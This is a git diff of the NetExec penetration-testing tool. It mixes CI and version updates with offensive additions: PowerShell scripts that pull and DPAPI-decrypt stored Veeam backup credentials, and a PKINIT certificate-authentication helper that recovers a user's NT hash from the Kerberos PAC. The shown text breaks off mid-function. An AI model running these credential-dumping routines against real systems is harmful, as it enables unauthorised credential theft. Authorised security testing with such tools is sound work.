diff --git a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md b/.github/PULL_REQUEST_TEMPLATE.md similarity index 94% rename from .github/PULL_REQUEST_TEMPLATE/pull_request_template.md rename to .github/PULL_REQUEST_TEMPLATE.md index d345ef99..6289c4a1 100644 --- a/.github/PULL_REQUEST_TEMPLATE/pull_request_template.md +++ b/.github/PULL_REQUEST_TEMPLATE.md @@ -1,11 +1,3 @@ ---- -name: Pull request -about: Update code to fix a bug or add an enhancement/feature -title: '' -labels: '' -assignees: '' - ---- ## Description Please include a summary of the change and which issue is fixed, or what the enhancement does. diff --git a/.github/workflows/build-binaries.yml b/.github/workflows/build-binaries.yml index 8a21f79c..dba5bf53 100644 --- a/.github/workflows/build-binaries.yml +++ b/.github/workflows/build-binaries.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.11"] + python-version: ["3.13"] #python-version: ["3.8", "3.9", "3.10", "3.11"] # for binary builds we only need one version steps: - uses: actions/checkout@v4 @@ -25,13 +25,13 @@ jobs: pyinstaller netexec.spec - name: Upload Windows Binary if: runner.os == 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc.exe path: dist/nxc.exe - name: Upload Nix/OSx Binary if: runner.os != 'windows' - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-${{ matrix.os }} path: dist/nxc diff --git a/.github/workflows/build-zipapps.yml b/.github/workflows/build-zipapps.yml index 1100cabf..e35b4f04 100644 --- a/.github/workflows/build-zipapps.yml +++ b/.github/workflows/build-zipapps.yml @@ -10,7 +10,7 @@ jobs: strategy: matrix: os: [ubuntu-latest, macOS-latest, windows-latest] - python-version: ["3.8", "3.9", "3.10", "3.11"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: NetExec set up python on ${{ matrix.os }} @@ -22,12 +22,12 @@ jobs: pip install shiv python build_collector.py - name: Upload nxc ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxc-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxc - name: Upload nxcdb ZipApp - uses: actions/upload-artifact@v3 + uses: actions/upload-artifact@v4 with: name: nxcdb-zipapp-${{ matrix.os }}-${{ matrix.python-version }} path: bin/nxcdb diff --git a/.github/workflows/lint.yml b/.github/workflows/lint.yml index 0093889c..f747ec58 100644 --- a/.github/workflows/lint.yml +++ b/.github/workflows/lint.yml @@ -19,7 +19,7 @@ jobs: - name: Set up Python uses: actions/setup-python@v5 with: - python-version: 3.11 + python-version: 3.13 cache: poetry cache-dependency-path: poetry.lock - name: Install dependencies with dev group diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 26621360..9a9d281a 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -8,18 +8,18 @@ on: jobs: build: name: Test for Py${{ matrix.python-version }} - if: github.event.review.state == 'APPROVED' + if: github.event.review.state == 'APPROVED' || github.event_name == 'workflow_dispatch' runs-on: ${{ matrix.os }} strategy: max-parallel: 5 matrix: os: [ubuntu-latest] - python-version: ["3.8", "3.9", "3.10", "3.11", "3.12"] + python-version: ["3.10", "3.11", "3.12", "3.13"] steps: - uses: actions/checkout@v4 - name: Install poetry run: | - pipx install poetry + pipx install poetry==1.8.4 - name: NetExec set up python ${{ matrix.python-version }} on ${{ matrix.os }} uses: actions/setup-python@v5 with: diff --git a/LICENSE b/LICENSE index 07c28cf6..0447e3d2 100755 --- a/LICENSE +++ b/LICENSE @@ -1,4 +1,4 @@ -Copyright (c) 2023, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 +Copyright (c) 2025, Marshall-Hallenbeck, NeffIsBack, zblurx, mpgn_x64 Copyright (c) 2022, byt3bl33d3r All rights reserved. diff --git a/README.md b/README.md index 5b27ddc6..5da261ca 100755 --- a/README.md +++ b/README.md @@ -1,4 +1,4 @@ -![Supported Python versions](https://img.shields.io/badge/python-3.8+-blue.svg) +![Supported Python versions](https://img.shields.io/badge/python-3.10+-blue.svg) [![Twitter](https://img.shields.io/twitter/follow/al3xn3ff?label=al3x_n3ff&style=social)](https://twitter.com/intent/follow?screen_name=al3x_n3ff) [![Twitter](https://img.shields.io/twitter/follow/_zblurx?label=_zblurx&style=social)](https://twitter.com/intent/follow?screen_name=_zblurx) [![Twitter](https://img.shields.io/twitter/follow/MJHallenbeck?label=MJHallenbeck&style=social)](https://twitter.com/intent/follow?screen_name=MJHallenbeck) diff --git a/netexec.spec b/netexec.spec index 38057f5a..2e711d70 100644 --- a/netexec.spec +++ b/netexec.spec @@ -25,10 +25,12 @@ a = Analysis( 'impacket.dcerpc.v5.lsad', 'impacket.dcerpc.v5.gkdi', 'impacket.dcerpc.v5.rprn', + 'impacket.dcerpc.v5.even', 'impacket.dpapi_ng', 'impacket.tds', 'impacket.version', 'impacket.ldap.ldap', + 'jwt', 'nxc.connection', 'nxc.servers.smb', 'nxc.protocols.smb.wmiexec', @@ -48,6 +50,7 @@ a = Analysis( 'pywerview.cli.helpers', 'pylnk3', 'pypykatz', + 'pyNfsClient', 'masky', 'msldap', 'msldap.connection', @@ -69,6 +72,7 @@ a = Analysis( 'dploot.triage.masterkeys', 'dploot.triage.mobaxterm', 'dploot.triage.backupkey', + 'dploot.triage.wam', 'dploot.triage.wifi', 'dploot.triage.sccm', 'dploot.lib.target', diff --git a/nxc/cli.py b/nxc/cli.py index d94e493b..6fdfa007 100755 --- a/nxc/cli.py +++ b/nxc/cli.py @@ -22,7 +22,7 @@ def gen_cli_args(): except ValueError: VERSION = importlib.metadata.version("netexec") COMMIT = "" - CODENAME = "ItsAlwaysDNS" + CODENAME = "NeedForSpeed" nxc_logger.debug(f"NXC VERSION: {VERSION} - {CODENAME} - {COMMIT}") generic_parser = argparse.ArgumentParser(add_help=False, formatter_class=DisplayDefaultsNotNone) @@ -53,9 +53,9 @@ def gen_cli_args(): || || | \ | | ___ | |_ | ____| __ __ ___ ___ \\( )// | \| | / _ \ | __| | _| \ \/ / / _ \ / __| .=[ ]=. | |\ | | __/ | |_ | |___ > < | __/ | (__ - / /ॱ-ॱ\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| - ॱ \ / ॱ - ॱ ॱ + / /˙-˙\ \ |_| \_| \___| \__| |_____| /_/\_\ \___| \___| + ˙ \ / ˙ + ˙ ˙ The network execution tool Maintained as an open source project by @NeffIsBack, @MJHallenbeck, @_zblurx @@ -98,6 +98,13 @@ def gen_cli_args(): kerberos_group.add_argument("--use-kcache", action="store_true", help="Use Kerberos authentication from ccache file (KRB5CCNAME)") kerberos_group.add_argument("--aesKey", metavar="AESKEY", nargs="+", help="AES key to use for Kerberos Authentication (128 or 256 bits)") kerberos_group.add_argument("--kdcHost", metavar="KDCHOST", help="FQDN of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter") + + certificate_group = std_parser.add_argument_group("Certificate", "Options for certificate authentication") + certificate_group.add_argument("--pfx-cert", metavar="PFXCERT", help="Use certificate authentication from pfx file .pfx") + certificate_group.add_argument("--pfx-base64", metavar="PFXB64", help="Use certificate authentication from pfx file encoded in base64") + certificate_group.add_argument("--pfx-pass", metavar="PFXPASS", help="Password of the pfx certificate") + certificate_group.add_argument("--pem-cert", metavar="PEMCERT", help="Use certificate authentication from PEM file") + certificate_group.add_argument("--pem-key", metavar="PEMKEY", help="Private key for the PEM format") server_group = std_parser.add_argument_group("Servers", "Options for nxc servers") server_group.add_argument("--server", choices={"http", "https"}, default="https", help="use the selected server") diff --git a/nxc/connection.py b/nxc/connection.py index 527e93e6..3c9b0843 100755 --- a/nxc/connection.py +++ b/nxc/connection.py @@ -1,4 +1,7 @@ import random +import sys +import contextlib + from os.path import isfile from threading import BoundedSemaphore from functools import wraps @@ -13,10 +16,9 @@ from nxc.loaders.moduleloader import ModuleLoader from nxc.logger import nxc_logger, NXCAdapter from nxc.context import Context from nxc.protocols.ldap.laps import laps_search +from nxc.helpers.pfx import pfx_auth from impacket.dcerpc.v5 import transport -import sys -import contextlib sem = BoundedSemaphore(1) global_failed_logins = 0 @@ -229,7 +231,8 @@ class connection: else: self.logger.debug("Created connection object") self.enum_host_info() - if self.print_host_info() and (self.login() or (self.username == "" and self.password == "")): + self.print_host_info() + if self.login() or (self.username == "" and self.password == ""): if hasattr(self.args, "module") and self.args.module: self.load_modules() self.logger.debug("Calling modules") @@ -383,7 +386,7 @@ class connection: if isfile(user): with open(user) as user_file: for line in user_file: - if "\\" in line: + if "\\" in line and len(line.split("\\")) == 2: domain_single, username_single = line.split("\\") else: domain_single = self.args.domain if hasattr(self.args, "domain") and self.args.domain else self.domain @@ -547,6 +550,14 @@ class connection: self.logger.info("Successfully authenticated using Kerberos cache") return True + if self.args.pfx_cert or self.args.pfx_base64 or self.args.pem_cert: + self.logger.debug("Trying to authenticate using Certificate pfx") + if not self.args.username: + self.logger.fail("You must specify a username when using certificate authentication") + return False + with sem: + return pfx_auth(self) + if hasattr(self.args, "laps") and self.args.laps: self.logger.debug("Trying to authenticate using LAPS") username[0], secret[0], domain[0] = laps_search(self, username, secret, cred_type, domain, self.dns_server) diff --git a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 index 3d14ccc5..ad3f2ddd 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_mssql.ps1 @@ -1,9 +1,10 @@ $SqlDatabaseName = "REPLACE_ME_SqlDatabase" $SqlServerName = "REPLACE_ME_SqlServer" $SqlInstanceName = "REPLACE_ME_SqlInstance" +$b64Salt = "REPLACE_ME_b64Salt" #Forming the connection string -$SQL = "SELECT [user_name] AS 'User',[password] AS 'Password' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords +$SQL = "SELECT [user_name] AS 'User', [password] AS 'Password', [description] AS 'Description' FROM [$SqlDatabaseName].[dbo].[Credentials] WHERE password <> ''" #Filter empty passwords $auth = "Integrated Security=SSPI;" #Local user $connectionString = "Provider=sqloledb; Data Source=$SqlServerName\$SqlInstanceName; Initial Catalog=$SqlDatabaseName; $auth;" $connection = New-Object System.Data.OleDb.OleDbConnection $connectionString @@ -22,19 +23,46 @@ catch { exit -1 } -$rows=($dataset.Tables | Select-Object -Expand Rows) -if ($rows.count -eq 0) { +$output=($dataset.Tables | Select-Object -Expand Rows) +if ($output.count -eq 0) { Write-Host "No passwords found!" exit } Add-Type -assembly System.Security -#Decrypting passwords using DPAPI -$rows | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) +# Decrypting passwords using DPAPI +$output | ForEach-Object -Process { + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $rows | Format-Table -HideTableHeaders | Out-String +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 diff --git a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 index 16ad63f3..cb198826 100644 --- a/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 +++ b/nxc/data/veeam_dump_module/veeam_dump_postgresql.ps1 @@ -1,8 +1,9 @@ $PostgreSqlExec = "REPLACE_ME_PostgreSqlExec" $PostgresUserForWindowsAuth = "REPLACE_ME_PostgresUserForWindowsAuth" $SqlDatabaseName = "REPLACE_ME_SqlDatabaseName" +$b64Salt = "REPLACE_ME_b64Salt" -$SQLStatement = "SELECT user_name AS User,password AS Password FROM credentials WHERE password != '';" +$SQLStatement = "SELECT user_name AS User, password AS Password, description AS Description FROM credentials WHERE password != '';" $output = . $PostgreSqlExec -U $PostgresUserForWindowsAuth -w -d $SqlDatabaseName -c $SQLStatement --csv | ConvertFrom-Csv if ($output.count -eq 0) { @@ -10,13 +11,40 @@ if ($output.count -eq 0) { exit } +# Decrypting passwords using DPAPI Add-Type -assembly System.Security -#Decrypting passwords using DPAPI $output | ForEach-Object -Process { - $EnryptedPWD = [Convert]::FromBase64String($_.password) - $ClearPWD = [System.Security.Cryptography.ProtectedData]::Unprotect( $EnryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $EncryptedPWD = [Convert]::FromBase64String($_.password) $enc = [system.text.encoding]::Default - $_.password = $enc.GetString($ClearPWD) -replace '\s', 'WHITESPACE_ERROR' + + try { + # Decrypt password with DPAPI (old Veeam versions) + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect( $EncryptedPWD, $null, [System.Security.Cryptography.DataProtectionScope]::LocalMachine ) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + } catch { + try{ + # Decrypt password with salted DPAPI (new Veeam versions) + $salt = [System.Convert]::FromBase64String($b64Salt) + $hex = New-Object -TypeName System.Text.StringBuilder -ArgumentList ($EncryptedPWD.Length * 2) + foreach ($byte in $EncryptedPWD) + { + $hex.AppendFormat("{0:x2}", $byte) > $null + } + $hex = $hex.ToString().Substring(74,$hex.Length-74) + $EncryptedPWD = New-Object -TypeName byte[] -ArgumentList ($hex.Length / 2) + for ($i = 0; $i -lt $hex.Length; $i += 2) + { + $EncryptedPWD[$i / 2] = [System.Convert]::ToByte($hex.Substring($i, 2), 16) + } + $raw = [System.Security.Cryptography.ProtectedData]::Unprotect($EncryptedPWD, $salt, [System.Security.Cryptography.DataProtectionScope]::LocalMachine) + $pw_string = $enc.GetString($raw) -replace '\s', 'WHITESPACE_ERROR' + }catch { + $pw_string = "COULD_NOT_DECRYPT" + } + } + $_.user = $_.user -replace '\s', 'WHITESPACE_ERROR' + $_.password = $pw_string + $_.description = $_.description -replace '\s', 'WHITESPACE_ERROR' } -Write-Output $output | Format-Table -HideTableHeaders | Out-String \ No newline at end of file +Write-Output $output | Format-Table -HideTableHeaders | Out-String -Width 10000 \ No newline at end of file diff --git a/nxc/helpers/args.py b/nxc/helpers/args.py index 3713a857..2336a057 100644 --- a/nxc/helpers/args.py +++ b/nxc/helpers/args.py @@ -1,4 +1,5 @@ from argparse import ArgumentDefaultsHelpFormatter, SUPPRESS, OPTIONAL, ZERO_OR_MORE +from argparse import Action class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): def _get_help_string(self, action): @@ -7,4 +8,18 @@ class DisplayDefaultsNotNone(ArgumentDefaultsHelpFormatter): defaulting_nargs = [OPTIONAL, ZERO_OR_MORE] if (action.option_strings or action.nargs in defaulting_nargs) and action.default: # Only add default info if it's not None help_string += " (default: %(default)s)" # NORUFF - return help_string \ No newline at end of file + return help_string + + +class DefaultTrackingAction(Action): + def __init__(self, option_strings, dest, default=None, required=False, **kwargs): + # Store the default value to check later + self.default_value = default + super().__init__( + option_strings, dest, default=default, required=required, **kwargs + ) + + def __call__(self, parser, namespace, values, option_string=None): + # Set an attribute to track whether the value was explicitly set + setattr(namespace, self.dest, values) + setattr(namespace, f"{self.dest}_explicitly_set", True) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py new file mode 100644 index 00000000..769f5123 --- /dev/null +++ b/nxc/helpers/pfx.py @@ -0,0 +1,538 @@ +# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. +# +# This software is provided under under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Author: +# Alberto Solino (@agsolino) +# Dirk-jan Mollema (@_dirkjan) +# +# Description: +# This script will use an existing TGT to request a PAC for the current user using U2U. +# When the TGT was obtained using PKINIT, the resulting PAC will contain the NT hash which can be +# used for silver tickets and for backwards compatibility with other tooling. +# +# References: +# +# U2U: https://tools.ietf.org/html/draft-ietf-cat-user2user-02 +# +# Based on examples from minikerberos by skelsec +# Parts of this code was inspired by the following project by @rubin_mor +# https://github.com/morRubin/AzureADJoinedMachinePTC +# +# Author: +# Tamas Jos (@skelsec) +# Dirk-jan Mollema (@_dirkjan) +# + +import os +import secrets +import hashlib +import datetime +import logging +import random +import base64 + +from binascii import unhexlify, hexlify + +from oscrypto.keys import parse_pkcs12, parse_certificate, parse_private +from oscrypto.asymmetric import rsa_pkcs1v15_sign, load_private_key + +from asn1crypto import cms +from asn1crypto import algos +from asn1crypto import core +from asn1crypto import keys + +from minikerberos.pkinit import PKINIT, DirtyDH +from minikerberos.protocol.constants import NAME_TYPE, PaDataType +from minikerberos.protocol.encryption import Enctype, _enctype_table, Key +from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \ + PA_PAC_REQUEST +from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ + +from pyasn1.codec.der import decoder, encoder +from pyasn1.type.univ import noValue + +from impacket.dcerpc.v5.rpcrt import TypeSerialization1 +from impacket.krb5 import constants +from impacket.krb5.asn1 import AP_REQ, AS_REP, TGS_REQ, Authenticator, TGS_REP, seq_set, seq_set_iter, EncTicketPart, AD_IF_RELEVANT, Ticket as TicketAsn1 +from impacket.krb5.kerberosv5 import sendReceive +from impacket.krb5.pac import PACTYPE, PAC_INFO_BUFFER, PAC_CREDENTIAL_INFO, \ + PAC_CREDENTIAL_DATA, NTLM_SUPPLEMENTAL_CREDENTIAL +from impacket.krb5.types import Principal, KerberosTime, Ticket + +# Imports for pfx_auth +from minikerberos.network.clientsocket import KerberosClientSocket +from minikerberos.common.target import KerberosTarget +from minikerberos.common.ccache import CCACHE + +from impacket.krb5.ccache import CCache as impacket_CCache + +from nxc.paths import NXC_PATH + + +class myPKINIT(PKINIT): + """ + Copy of minikerberos PKINIT + With some changes where it differs from PKINIT used in NegoEx + """ + + @staticmethod + def from_pfx(pfxfile, pfxpass, dh_params=None, b64=False): + with open(pfxfile, "rb") as f: + pfxdata = f.read() + + if b64: + pfxdata = base64.b64decode(pfxdata) + + return myPKINIT.from_pfx_data(pfxdata, pfxpass, dh_params) + + @staticmethod + def from_pfx_data(pfxdata, pfxpass, dh_params=None): + pkinit = myPKINIT() + # oscrypto does not seem to support pfx without password, so convert it to PEM using cryptography instead + if not pfxpass: + from cryptography.hazmat.primitives.serialization import pkcs12 + from cryptography.hazmat.primitives import serialization + privkey, cert, extra_certs = pkcs12.load_key_and_certificates(pfxdata, None) + pem_key = privkey.private_bytes( + encoding=serialization.Encoding.PEM, + format=serialization.PrivateFormat.TraditionalOpenSSL, + encryption_algorithm=serialization.NoEncryption(), + ) + pkinit.privkey = load_private_key(parse_private(pem_key)) + pem_cert = cert.public_bytes( + encoding=serialization.Encoding.PEM + ) + pkinit.certificate = parse_certificate(pem_cert) + else: + if isinstance(pfxpass, str): + pfxpass = pfxpass.encode() + pkinit.privkeyinfo, pkinit.certificate, pkinit.extra_certs = parse_pkcs12(pfxdata, password=pfxpass) + pkinit.privkey = load_private_key(pkinit.privkeyinfo) + pkinit.setup(dh_params=dh_params) + return pkinit + + @staticmethod + def from_pem(certfile, privkeyfile, dh_params=None): + pkinit = myPKINIT() + with open(certfile, "rb") as f: + pkinit.certificate = parse_certificate(f.read()) + with open(privkeyfile, "rb") as f: + pkinit.privkey = load_private_key(parse_private(f.read())) + pkinit.setup(dh_params=dh_params) + return pkinit + + def sign_authpack(self, data, wrap_signed=False): + return self.sign_authpack_native(data, wrap_signed) + + def setup(self, dh_params=None): + self.issuer = self.certificate.issuer.native["common_name"] + if dh_params is None: + print("Generating DH params...") + print("DH params generated.") + else: + if isinstance(dh_params, dict): + self.diffie = DirtyDH.from_dict(dh_params) + elif isinstance(dh_params, bytes): + self.diffie = DirtyDH.from_asn1(dh_params) + elif isinstance(dh_params, DirtyDH): + self.diffie = dh_params + else: + raise Exception("DH params must be either a bytearray or a dict") + + def build_asreq(self, domain=None, cname=None, kdcopts=None): + if kdcopts is None: + kdcopts = ["forwardable", "renewable", "renewable-ok"] + if isinstance(kdcopts, list): + kdcopts = set(kdcopts) + if cname is not None: + if isinstance(cname, str): + cname = [cname] + else: + cname = [self.cname] + + now = datetime.datetime.now(datetime.timezone.utc) + + kdc_req_body_data = {} + kdc_req_body_data["kdc-options"] = KDCOptions(kdcopts) + kdc_req_body_data["cname"] = PrincipalName({"name-type": NAME_TYPE.PRINCIPAL.value, "name-string": cname}) + kdc_req_body_data["realm"] = domain.upper() + kdc_req_body_data["sname"] = PrincipalName({"name-type": NAME_TYPE.SRV_INST.value, "name-string": ["krbtgt", domain.upper()]}) + kdc_req_body_data["till"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["rtime"] = (now + datetime.timedelta(days=1)).replace(microsecond=0) + kdc_req_body_data["nonce"] = secrets.randbits(31) + kdc_req_body_data["etype"] = [18, 17] # 23 breaks... + kdc_req_body = KDC_REQ_BODY(kdc_req_body_data) + + checksum = hashlib.sha1(kdc_req_body.dump()).digest() + + authenticator = {} + authenticator["cusec"] = now.microsecond + authenticator["ctime"] = now.replace(microsecond=0) + authenticator["nonce"] = secrets.randbits(31) + authenticator["paChecksum"] = checksum + + dp = {} + dp["p"] = self.diffie.p + dp["g"] = self.diffie.g + dp["q"] = 0 # mandatory parameter, but it is not needed + + pka = {} + pka["algorithm"] = "1.2.840.10046.2.1" + pka["parameters"] = keys.DomainParameters(dp) + + spki = {} + spki["algorithm"] = keys.PublicKeyAlgorithm(pka) + spki["public_key"] = self.diffie.get_public_key() + + authpack = {} + authpack["pkAuthenticator"] = PKAuthenticator(authenticator) + authpack["clientPublicValue"] = keys.PublicKeyInfo(spki) + authpack["clientDHNonce"] = self.diffie.dh_nonce + + authpack = AuthPack(authpack) + signed_authpack = self.sign_authpack(authpack.dump(), wrap_signed=True) + + payload = PA_PK_AS_REQ() + payload["signedAuthPack"] = signed_authpack + + pa_data_1 = {} + pa_data_1["padata-type"] = PaDataType.PK_AS_REQ.value + pa_data_1["padata-value"] = payload.dump() + + pa_data_0 = {} + pa_data_0["padata-type"] = int(PADATA_TYPE("PA-PAC-REQUEST")) + pa_data_0["padata-value"] = PA_PAC_REQUEST({"include-pac": True}).dump() + + asreq = {} + asreq["pvno"] = 5 + asreq["msg-type"] = 10 + asreq["padata"] = [pa_data_0, pa_data_1] + asreq["req-body"] = kdc_req_body + + return AS_REQ(asreq).dump() + + def sign_authpack_native(self, data, wrap_signed=False): + """ + Creating PKCS7 blob which contains the following things: + + 1. 'data' blob which is an ASN1 encoded "AuthPack" structure + 2. the certificate used to sign the data blob + 3. the singed 'signed_attrs' structure (ASN1) which points to the "data" structure (in point 1) + """ + da = {} + da["algorithm"] = algos.DigestAlgorithmId("1.3.14.3.2.26") # for sha1 + + si = {} + si["version"] = "v1" + si["sid"] = cms.IssuerAndSerialNumber({ + "issuer": self.certificate.issuer, + "serial_number": self.certificate.serial_number, + }) + + si["digest_algorithm"] = algos.DigestAlgorithm(da) + si["signed_attrs"] = [ + cms.CMSAttribute({"type": "content_type", "values": ["1.3.6.1.5.2.3.1"]}), # indicates that the encap_content_info's authdata struct (marked with OID '1.3.6.1.5.2.3.1' is signed ) + cms.CMSAttribute({"type": "message_digest", "values": [hashlib.sha1(data).digest()]}), # hash of the data, the data itself will not be signed, but this block of data will be. + ] + si["signature_algorithm"] = algos.SignedDigestAlgorithm({"algorithm": "1.2.840.113549.1.1.1"}) + si["signature"] = rsa_pkcs1v15_sign(self.privkey, cms.CMSAttributes(si["signed_attrs"]).dump(), "sha1") + + ec = {} + ec["content_type"] = "1.3.6.1.5.2.3.1" + ec["content"] = data + + sd = {} + sd["version"] = "v3" + sd["digest_algorithms"] = [algos.DigestAlgorithm(da)] # must have only one + sd["encap_content_info"] = cms.EncapsulatedContentInfo(ec) + sd["certificates"] = [self.certificate] + sd["signer_infos"] = cms.SignerInfos([cms.SignerInfo(si)]) + + if wrap_signed is True: + ci = {} + ci["content_type"] = "1.2.840.113549.1.7.2" # signed data OID + ci["content"] = cms.SignedData(sd) + return cms.ContentInfo(ci).dump() + + return cms.SignedData(sd).dump() + + def decrypt_asrep(self, as_rep): + def truncate_key(value, keysize): + output = b"" + currentNum = 0 + while len(output) < keysize: + currentDigest = hashlib.sha1(bytes([currentNum]) + value).digest() + if len(output) + len(currentDigest) > keysize: + output += currentDigest[:keysize - len(output)] + break + output += currentDigest + currentNum += 1 + + return output + + for pa in as_rep["padata"]: + if pa["padata-type"] == 17: + pkasrep = PA_PK_AS_REP.load(pa["padata-value"]).native + break + else: + raise Exception("PA_PK_AS_REP not found!") + ci = cms.ContentInfo.load(pkasrep["dhSignedData"]).native + sd = ci["content"] + keyinfo = sd["encap_content_info"] + if keyinfo["content_type"] != "1.3.6.1.5.2.3.2": + raise Exception("Keyinfo content type unexpected value") + authdata = KDCDHKeyInfo.load(keyinfo["content"]).native + pubkey = int("".join(["1"] + [str(x) for x in authdata["subjectPublicKey"]]), 2) + + pubkey = int.from_bytes(core.BitString(authdata["subjectPublicKey"]).dump()[7:], "big", signed=False) + shared_key = self.diffie.exchange(pubkey) + + server_nonce = pkasrep["serverDHNonce"] + fullKey = shared_key + self.diffie.dh_nonce + server_nonce + + etype = as_rep["enc-part"]["etype"] + cipher = _enctype_table[etype] + if etype == Enctype.AES256: + t_key = truncate_key(fullKey, 32) + elif etype == Enctype.AES128: + t_key = truncate_key(fullKey, 16) + elif etype == Enctype.RC4: + raise NotImplementedError("RC4 key truncation documentation missing. it is different from AES") + + key = Key(cipher.enctype, t_key) + enc_data = as_rep["enc-part"]["cipher"] + logging.info("AS-REP encryption key (you might need this later):") + logging.info(hexlify(t_key).decode("utf-8")) + dec_data = cipher.decrypt(key, 3, enc_data) + encasrep = EncASRepPart.load(dec_data).native + cipher = _enctype_table[int(encasrep["key"]["keytype"])] + session_key = Key(cipher.enctype, encasrep["key"]["keyvalue"]) + return encasrep, session_key, cipher, hexlify(t_key).decode("utf-8") + + +class GETPAC: + + def printPac(self, data, key=None): + nthash = None + encTicketPart = decoder.decode(data, asn1Spec=EncTicketPart())[0] + adIfRelevant = decoder.decode(encTicketPart["authorization-data"][0]["ad-data"], asn1Spec=AD_IF_RELEVANT())[ + 0] + # So here we have the PAC + pacType = PACTYPE(adIfRelevant[0]["ad-data"].asOctets()) + buff = pacType["Buffers"] + found = False + for _bufferN in range(pacType["cBuffers"]): + infoBuffer = PAC_INFO_BUFFER(buff) + data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] + if logging.getLogger().level == logging.DEBUG: + print("TYPE 0x%x" % infoBuffer["ulType"]) + if infoBuffer["ulType"] == 2: + found = True + credinfo = PAC_CREDENTIAL_INFO(data) + if logging.getLogger().level == logging.DEBUG: + credinfo.dump() + newCipher = _enctype_table[credinfo["EncryptionType"]] + out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) + type1 = TypeSerialization1(out) + # I'm skipping here 4 bytes with its the ReferentID for the pointer + newdata = out[len(type1) + 4:] + pcc = PAC_CREDENTIAL_DATA(newdata) + if logging.getLogger().level == logging.DEBUG: + pcc.dump() + for cred in pcc["Credentials"]: + credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) + if logging.getLogger().level == logging.DEBUG: + credstruct.dump() + + logging.info("Recovered NT Hash") + logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) + nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") + + buff = buff[len(infoBuffer):] + + if not found: + logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") + return nthash + + def __init__(self, username, domain, kdcHost, key, tgt): + self.__username = username + self.__domain = domain.upper() + self.__kdcHost = kdcHost + self.__asrep_key = key + self.__tgt = tgt["KDC_REP"] + self.__cipher = tgt["cipher"] + self.__sessionKey = tgt["sessionKey"] + + def dump(self): + # Try all requested protocols until one works. + tgt = self.__tgt + cipher = self.__cipher + sessionKey = self.__sessionKey + + decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] + + # Extract the ticket from the TGT + ticket = Ticket() + ticket.from_asn1(decodedTGT["ticket"]) + + apReq = AP_REQ() + 